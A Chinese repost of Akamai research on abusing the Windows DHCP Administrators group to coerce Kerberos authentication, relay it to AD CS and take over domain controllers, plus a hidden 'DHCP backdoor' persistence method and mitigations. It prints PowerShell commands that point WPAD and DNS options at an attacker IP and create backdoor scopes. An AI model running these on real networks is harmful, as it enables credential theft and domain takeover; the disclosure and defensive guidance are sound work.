滥用DHCP管理员组在Windows域中升级权限

admin 2024年3月24日04:20:40评论14 views字数 7854阅读26分10秒阅读模式

执行摘要

  • Akamai 研究人员发现了一种新的权限升级技术,该技术会影响利用 DHCP 管理员组的 Active Directory (AD) 环境。

  • 如果 DHCP 服务器角色安装在域控制器 (DC) 上,这可能使它们能够获得域管理权限

  • 该技术基于滥用合法功能,不依赖任何漏洞。因此,不存在对其的修复。

  • 除了提供权限升级原语之外,相同的技术还可以用于创建隐秘域持久性机制。

  • 微软的DHCP服务器非常流行;据观察,该软件在 Akamai 监控的 40% 网络中运行。运行此服务器的任何环境都可能容易受到攻击。

  • 我们提供了详细的步骤,可以大大降低该技术的风险,识别其潜在的利用,以及识别启用该技术的配置的方法。


介绍

从 Google Docs 到 Active Directory,访问管理几乎影响组织中的每个角色。在讨论权限和访问控制时,最大限度地减少员工的挫败感而不增加不必要的风险是一个微妙的平衡——安全团队痛苦地意识到这一困境。

因此,“恰到好处的访问”最佳点是任何访问策略的关键要素。归结为:每个用户都应该被授予一组履行其职责所需的权限,但在任何其他方面都应尽可能受到限制。这可以减少任何单个用户受到损害的影响,防止横向移动和额外的利用。

虽然它可以消除最大的风险,但逐个身份地管理访问是不现实或不可行的,尤其是在企业级别。相反,用户访问组根据工作职能提供通用权限——这是 AD 中最常见的概念。例如,微软提供了“DNS Admins”组,这是一个负责管理DNS服务器的AD组。遵循“恰到好处”的原则,其成员没有对托管 DNS 服务器的机器的权限,而只能进行与 DNS 服务相关的配置。

尽管这一切在理论上都是有效的,但在实践中却是另一回事。Shay Ber 2017 年的研究展示了“DNS 管理员”组的成员如何滥用该组的权限之一在 DNS 服务器上执行代码,这几乎总是会导致权限升级到域管理员。

Microsoft DHCP 提供了一个类似的安全组,称为“DHCP 管理员”。在我们最近对 Microsoft DHCP 进行 研究时,我们想到了使用该组找到类似原语的问题:DHCP 管理员可以成为域管理员吗?事实证明,有时确实可以。🥴

在这篇博文中,我们将介绍 DHCP 管理员组,并展示如何滥用其特权之一来危害 DHCP 服务器,包括在 DHCP 服务器安装在 DC 上的情况下完全接管域

我们还将展示如何使用相同的技术来建立一个有趣的域持久机制,并提供实现“ DHCP 后门”的详细信息。

由于此技术使用 DHCP 管理员可用的合法权限和选项,因此没有像补丁这样的简单解决方案 - 因为不存在漏洞。为了帮助降低此技术的风险,我们在这篇博文中包含了详细的缓解和检测步骤。

跳转到缓解措施

什么是 DHCP 管理员?

DHCP管理员组是一个 AD 用户组,旨在管理动态主机配置协议 (DHCP) 服务器。它允许其成员查询和修改远程服务器上的 DHCP 服务的配置。

重要的是,其成员对 DHCP 服务器计算机本身没有权限,只能进行 DHCP 服务配置。这意味着 DHCP 管理员不应该能够在 DHCP 服务器上执行代码,而只能修改与 DHCP 相关的配置。DHCP 管理员控制的配置之一是DHCP 选项

滥用 DHCP 选项

网络客户端需要一组配置才能参与网络,包括 IP 地址和子网掩码、默认网关地址和 DNS 服务器等。DHCP 服务器以 DHCP 选项的形式向客户端通告这些配置 — 不同的配置与定义的选项 ID 相结合,并由客户端查询(图 1)。

滥用DHCP管理员组在Windows域中升级权限

图 1:在 DHCP 服务器上配置的 DHCP 选项示例

DHCP 客户端请求所需的选项并根据响应修改其网络配置。由于能够控制服务器上这些选项的值,客户端请求的每个选项都可能被攻击者滥用来注入恶意配置

为了了解 Windows 客户端上的潜在攻击面,我们可以检查默认请求的选项(图 2)。

滥用DHCP管理员组在Windows域中升级权限

图 2:DHCP 服务器上配置的 DHCP 选项

代理自动发现

我们可以看到请求的配置之一是“代理自动发现”选项(图 2 中以蓝色突出显示),该选项用于自动配置 Web 代理 ( WPAD )。此选项使 DHCP 服务器能够指定“ wpad.dat ”文件的 URL ,该文件包含客户端要使用的代理设置。

我们可以通过运行以下 PowerShell 命令来配置此选项并将我们的地址指定为代理:

  Add-DhcpServerv4OptionDefinition -name wpad -OptionId 252 -type String
Set-DhcpServerv4OptionValue -Wpad "http://<attacker_ip>/wpad.dat" -ScopeId 172.25.0.0

复制

设置此选项后,我们看到 Windows 客户端在从 DHCP 服务器租用地址时收到我们的配置(图 3)。

滥用DHCP管理员组在Windows域中升级权限

图 3:DHCP 客户端从服务器接收代理配置

收到此配置后,DHCP 客户端将通过 HTTP 连接到我们的计算机并尝试获取“ wpad.dat ”文件(图 4)。

滥用DHCP管理员组在Windows域中升级权限

图 4:DHCP 客户端向攻击者的计算机请求“wpad.dat”文件

模拟 WPAD 服务器的能力为多种攻击提供了机会,这些攻击可能会危及客户端凭据。

我们还可以使用其他 DHCP 选项来实现类似的结果。这种功能当然是设计使然,并不是真正的安全问题。DHCP 管理员可以……管理 DHCP。然而,这种能力的影响可能比预期的更广泛。

DHCP DNS 服务器选项

在分析可能被滥用的不同 DHCP 选项时,另一个引起了我们的注意——DNS服务器选项。与之前的攻击类似,DHCP 管理员可以欺骗 DNS 服务器地址并欺骗 DNS 响应,以实现中间机 (MITM) 位置。但事实证明,这个选项还有更多内容。

通常,DHCP 选项用于向请求客户端提供数据。有趣的是,DNS 服务器选项还有另一个目的 - 其值将用作DHCP DNS 动态更新的目标(图 5)。

滥用DHCP管理员组在Windows域中升级权限

图 5:DNS 服务器选项对 DHCP DNS 动态更新过程的影响

为什么这很有趣?Microsoft DNS 服务器和 Windows DNS 客户端支持称为安全动态更新的动态更新功能启用此功能后(默认情况下),DNS 客户端需要在服务器上执行 DNS 更新之前进行身份验证。此身份验证是通过使用 Kerberos over DNS 来执行的。

使用 DHCP 管理员帐户,我们可以控制 DHCP 服务器上的 DNS 服务器选项,并使其对我们选择的地址进行身份验证。图 6 中的步骤显示了如何实现这一点。

滥用DHCP管理员组在Windows域中升级权限

图 6:DHCP 租约导致服务器通过 Kerberos 向客户端进行身份验证

  1. 在目标 DHCP 服务器上,我们将 IP 地址 (172.25.14.19) 配置为 DNS 服务器选项。

  2. 在我们的机器上,我们租用一个 IP 地址,同时指定FQDN 选项在此示例中,我们指定 FQDN“ aaa.aka.test ”。这会触发 DHCP DNS 动态更新。

  3. DHCP 服务器向我们的计算机发送 DNS“授权起始”(SOA) 查询(认为它是 DNS 服务器)。DHCP 服务器使用此查询来检查哪个 DNS 服务器对“ aaa.aka.test ”具有权威性。 

  4. 我们响应 SOA 查询,将我们的机器指定为记录“ aaa.aka.test”的权威 DNS 服务器。

  5. DHCP 服务器尝试通过向我们的计算机发送 DNS 动态更新来创建记录。此更新尝试未经身份验证。

  6. 我们拒绝未经身份验证的更新来触发服务器的身份验证尝试。

  7. DHCP 服务器使用 DNS 上的 Kerberos 身份验证对我们的计算机进行身份验证,通过发送 TKEY 查询来实现。

 图 7 显示了该技术的实际应用示例。

滥用DHCP管理员组在Windows域中升级权限

图 7:DHCP 租约和后续 DNS 流量的数据包捕获

我们将这种技术称为DHCP Coerce,它为我们提供了 Kerberos 身份验证强制原语,因为我们可以使任何 DHCP 服务器对我们的计算机进行身份验证。


DHCP 强制到 Kerberos 中继

DHCP 强制为Kerberos 中继攻击提供了机会——我们可以强制对我们的计算机进行身份验证,然后执行中继攻击,从而允许我们模拟 DHCP 服务器计算机帐户。这将允许完全控制服务器本身,而不是 DHCP 管理员组中包含的更有限的权限。

Kerberos 中继目标有些有限,但我们仍然有一个很好的选择,正如Dirk Jan 的博客文章中所述,Kerberos 中继可用于定位 Active Directory 证书服务 (AD CS)。

AD CS 是一组为 Active Directory 环境提供 PKI 解决方案的服务。在 AD 上下文中,此 PKI 的主要用途是启用基于证书的身份验证 - 通过 AD CS,用户可以为自己颁发证书,并使用它们对域中的资源进行身份验证。

颁发这些证书的方式之一是Web 注册服务— 一种可供客户端用来请求证书的 Web 服务。默认情况下,此服务容易受到 Kerberos 中继攻击,因为它不验证消息完整性。SpectreOps 的 Will Schroeder 和 Lee Christensen 进行的AD CS 研究将此问题描述为ESC8

通过将我们的强制原语与 ESC8 相结合,我们可以创建一个攻击链(图 8),这将使我们能够破坏 DHCP 服务器。

滥用DHCP管理员组在Windows域中升级权限

图 8:DHCP Coerce 完整攻击链

  1. 使用 DHCP 管理员强制对我们的计算机进行 Kerberos 身份验证,如上一节所述。

  2. 使用Krbrelayx.py将身份验证中继到 AD CS 并获取 DHCP 服务器计算机帐户的证书。

  3. 使用证书获取 DHCP 服务器计算机帐户的 NTLM 哈希值,该技术在SpecterOps 的研究中被描述为THEFT5

  4. 使用 NTLM 哈希作为 DHCP 服务器计算机帐户进行身份验证并执行代码。

要深入了解步骤 2-4,请参阅 Dirk Jan 的使用 krbrelayx 和 mitm6 通过 DNS 中继 Kerberos博客文章。 

总而言之,如果环境中使用 AD CS,则 DHCP 管理员帐户可以在任何 DHCP 服务器上执行代码。哎呀。

DHCP 服务器通常安装在 DC 上 — 在我们观察到的使用 Microsoft DHCP 服务器的网络中,57% 在 DC 上安装了 DHCP 服务器。在这些情况下, DHCP 管理员可以通过接管 DC 计算机帐户来危害整个域。

关于 DNS 凭据的说明

我们刚刚描述的攻击依赖于 DHCP 服务器在执行 DNS 更新时使用自己的计算机帐户进行身份验证。Microsoft 推荐的最佳实践之一是将弱用户配置为DHCP 服务器的DNS 凭据,这是执行更新时代替计算机帐户使用的替代凭据。

这种配置可以使我们的中继攻击无效。我们不会泄露服务器的机器帐户,而是获得弱用户的权限。

幸运的是,我们是 DHCP 管理员!DHCP 管理员可以删除现有的 DNS 凭据,而无需了解凭据本身。可以使用Remove-DhcpServerDnsCredential PowerShell 命令来执行此操作删除 DNS 凭据后,DHCP 服务器将恢复为默认值并使用其计算机帐户执行更新。

DHCP 域持久性

除了滥用 DHCP 管理员组在 DHCP 服务器上执行代码之外,我们刚刚描述的技术还可以用于创建有趣的域持久机制。

设置 DNS 服务器选项后,无需任何凭据即可强制进行身份验证 — 攻击者只需从 DHCP 服务器租用 IP 地址即可。这可能允许攻击者在没有任何凭据的情况下从域外部执行 DHCP 强制攻击

DHCP 后门范围

DHCP 范围是 DHCP 可以租用的特定子网中定义的一组 IP 地址。DHCP 选项可以在每个范围的基础上进行配置,从而允许对不同的子网进行不同的配置。

要执行 DHCP 强制,我们需要更改其中一个 DHCP 作用域上的 DNS 服务器选项。显然,我们不想为此使用现有作用域 - 如果我们修改现有作用域的 DNS 服务器选项,此配置将传递到 DHCP 客户端,从而导致通信问题并可能导致我们的后门被检测到。

相反,我们希望创建一个专用范围,其地址范围不在网络的任何子网中使用(图 9)。

滥用DHCP管理员组在Windows域中升级权限

图 9:创建“后门”DHCP 作用域

但这种方法存在一个问题,其根源在于 DHCP 服务器范围选择逻辑。当客户端租用 IP 地址时,服务器根据客户端的源子网确定要使用的 DHCP 范围。该子网由接收 DHCP Discover 消息的网络接口标识(图 10)。

滥用DHCP管理员组在Windows域中升级权限

图 10:基于网络接口的 DHCP 范围选择

为了触发后门,我们需要从我们的恶意范围中租用一个 IP 地址。为此,我们必须位于链接到此范围的子网中。同时,我们希望我们的范围不要链接到网络中的现有子网,以避免破坏客户端连接。然而,这两个要求是相互矛盾的——如果范围没有链接到现有的子网,我们就无法访问它。如果是,其他客户端也可以访问它。幸运的是,DHCP 中继代理可以拯救您。

DHCP中继代理

DHCP 中继代理功能可以解决此问题。DHCP 中继代理是一种服务器,允许客户端从 DHCP 服务器租用 IP 地址,即使客户端的本地网络中没有该地址(图 11)。

滥用DHCP管理员组在Windows域中升级权限

图 11:使用中继代理的 DHCP 租用过程

中继代理监听来自客户端的 DHCP 广播消息,并代表客户端将其中继到 DHCP 服务器。DHCP 中继代理通过中继代理信息DHCP 选项将客户端的源子网告知 DHCP 服务器,从而允许服务器在租用 IP 地址时确定要使用的正确范围。

我们注意到,此功能使 DHCP 中继代理能够从任何范围请求 IP 地址,而不管 DHCP 服务器上的接口如何。攻击者可以充当中继代理,并在中继代理信息选项中指示任何子网,使他们能够租用任何范围的 IP 地址(图 12)。

滥用DHCP管理员组在Windows域中升级权限

图 12:通过充当 DHCP 中继代理从指定范围租用 IP 地址

最后需要考虑一点:中继服务器本身的 IP 地址必须是服务器上现有范围的一部分。这是为了防止恶意客户端访问服务器。为了克服这个问题,我们可以遵循微软的建议,创建一个专门的范围,其中包括我们的外部IP地址,非法“授权”它充当中继。

滥用 DHCP 中继代理选项

潜在的后门(图 13)将包含 2 个范围:

  • 授权范围一个范围,旨在授权我们的攻击机器充当 DHCP 中继代理。其IP范围将包括我们外部攻击机器的IP地址。

  • 威压范围将用于租用 IP 地址的作用域,从而触发对我们的攻击计算机的 Kerberos 身份验证尝试。其DNS服务器选项将配置为我们的外部攻击机器IP,其IP范围可以是网络中未使用的任意范围。

滥用DHCP管理员组在Windows域中升级权限

图13:DHCP后门设计

以下 PowerShell 代码显示了如何创建这些范围:

  Import-Module DhcpServer

Add-DhcpServerv4Scope -StartRange <attacker_ip> -EndRange <attacker_ip> -Name " " -SubnetMask <mask>
Add-DhcpServerv4Scope -StartRange <coercion_scope_address> -EndRange <coercion_scope_address> -Name " " -SubnetMask <mask>
Set-DhcpServerv4OptionValue -OptionId 6 -Value <attacker_ip> -Force -ScopeId <coercion_scope_address>

复制

为了触发后门,我们从 DHCP 服务器租用一个地址,并进行以下调整:

  • 我们在中继代理 IP 地址 ( giaddr ) DHCP 字段中使用我们的 IP 地址。该字段用于通知DHCP服务器中继代理IP地址。该IP必须在“授权范围”内。

  • 我们包括中继代理信息选项,其 IP 地址位于“强制范围”内。

在图 14 中,我们的授权范围包括 IP 地址 172.25.14.18,我们的强制范围包括地址 66.66.66.66。

滥用DHCP管理员组在Windows域中升级权限

图 14:充当中继代理时的 DHCP 发现调整

我们向DDSpoof(我们的DHCP DNS 欺骗工具包)添加了中继代理支持,并创建了一个名为dhcp_coerce.py的概念验证脚本,该脚本能够实现此攻击。该脚本充当 DHCP 中继代理,并从我们请求的范围请求 IP 地址,使我们能够通过强制范围触发身份验证强制(图 15)。

滥用DHCP管理员组在Windows域中升级权限

图15:利用DDSpoof触发DHCP后门

缓解措施

针对这种威胁的防御措施包括:

  • 识别有风险的 DHCP 配置

  • 减轻针对 AD CS 的中继攻击 

  • 实行 DHCP 管理员组卫生

  • 使用分段来减少攻击面

  • 识别 DNS 异常

识别有风险的 DHCP 配置

Invoke-DHCPCheckup.ps1可以帮助您识别有风险的 DHCP 配置。DHCP 强制攻击链中最严重的风险是在 DC 上安装 DHCP 服务器 - 我们建议您避免这种配置。

运行 Invoke-DHCPCheckup 以列出所有活动的 Microsoft DHCP 服务器,并识别 DC 上安装的任何服务器(图 16)。如果可能,请禁用所有 DC 上的 DHCP 服务器服务。

滥用DHCP管理员组在Windows域中升级权限

图 16:使用 Invoke-DHCPCheckup 识别安装在 DC 上的 DHCP 服务器

减轻针对 AD CS 的中继攻击

防止此攻击链的最有效方法是减轻针对 AD CS 服务器的中继攻击,这将阻止滥用身份验证强制原语的能力。

中继攻击的风险和针对 AD CS 的变体并不新鲜,并且 Microsoft 都知道。身份验证扩展保护 (EPA)是一项为防止此类攻击而引入的功能,但默认情况下不会为 AD CS 启用。为了降低 AD CS 中继攻击的风险,请在所有 AD CS 服务器上禁用 HTTP 并启用 EPA 功能

实行 DHCP 管理员组卫生

DHCP 管理员组的成员可能会危害 DHCP 客户端和服务器,因此应将该组视为高价值资产并进行相应的监控。尽可能限制 DHCP 管理员组的成员身份,以降低管理员用户泄露的风险。在适用的情况下考虑使用更有限的DHCP用户组

使用分段来减少攻击面

除了前面的防御措施之外,还可以使用网络分段来减轻攻击并减少攻击面,从而有可能防止潜在的类似攻击。

通过使用Akamai Guardicore Segmentation,防御者可以:

  • 阻止从非管理员端点到 DHCP 服务器的 RPC 流量,从而阻止修改 DHCP 选项的能力:创建包含 DHCP 管理员使用的端点的标签,然后仅允许该标签通过非 DHCP 端口与 DHCP 服务器进行通信。 

  • 阻止不需要 AD CS 注册服务器的端点访问 AD CS 注册服务器,从而降低执行中继攻击的能力:创建包含需要使用 AD CS 颁发证书的端点的标签,然后仅允许此标签与 Web 注册服务器进行通信。

  • 阻止进出 Internet 的 DHCP 流量,防止外部计算机强制 DHCP 身份验证的能力:为所有 DHCP 服务器创建标签,然后阻止与 Internet 地址的所有通信。

识别 DNS 异常

该攻击依赖于强制 DHCP 服务器将 DNS 更新请求发送到与标准 AD DNS 服务器不同的地址。这种类型的流量本质上通常是静态的,因此这种行为是高度异常的。这种异常流量行为可以作为此攻击或滥用通过 DNS 的 Kerberos 身份验证的任何其他攻击的检测机会。

要识别此类异常,请创建应接收 DNS 更新的合法 DNS 服务器列表 - 通过查询 AD 或监控 DNS 流量。该列表应该相当有限,并且应该用作合法流量的基线。任何与此列表的偏差都应该受到调查——特别是如果它涉及互联网地址。

Akamai Hunt是 Akamai 的托管威胁搜寻服务,以大量异常检测技术的形式为客户提供保护,这些技术不断监控环境以尝试检测未知情况。

结论

恶意特权升级可能是灾难性的,尤其是当它利用合法进程时。兼顾强大的安全控制和尽量减少给用户带来的不便,是现代安全专业人员面临的一个主要难题。随着物联网、分布式移动劳动力的引入,以及新旧漏洞利用的不断冲击,现在是掌握访问策略的关键时刻。

DHCP 管理员组是这一概念的一个引人注目的例子。它为其成员提供了一组强大的权限,但这些权限也可能被攻击者滥用。特别是在安全方面,即使是最善意的功能也可能被滥用。

维护者应该意识到这种潜在的风险,并以适当的谨慎态度对待这一群体。我们希望这篇文章能够提供针对这一威胁的背景信息和防御措施。


原文始发于微信公众号(河南等级保护测评):滥用DHCP管理员组在Windows域中升级权限

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年3月24日04:20:40
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   滥用DHCP管理员组在Windows域中升级权限https://cn-sec.com/archives/2598812.html

发表评论

匿名网友 填写信息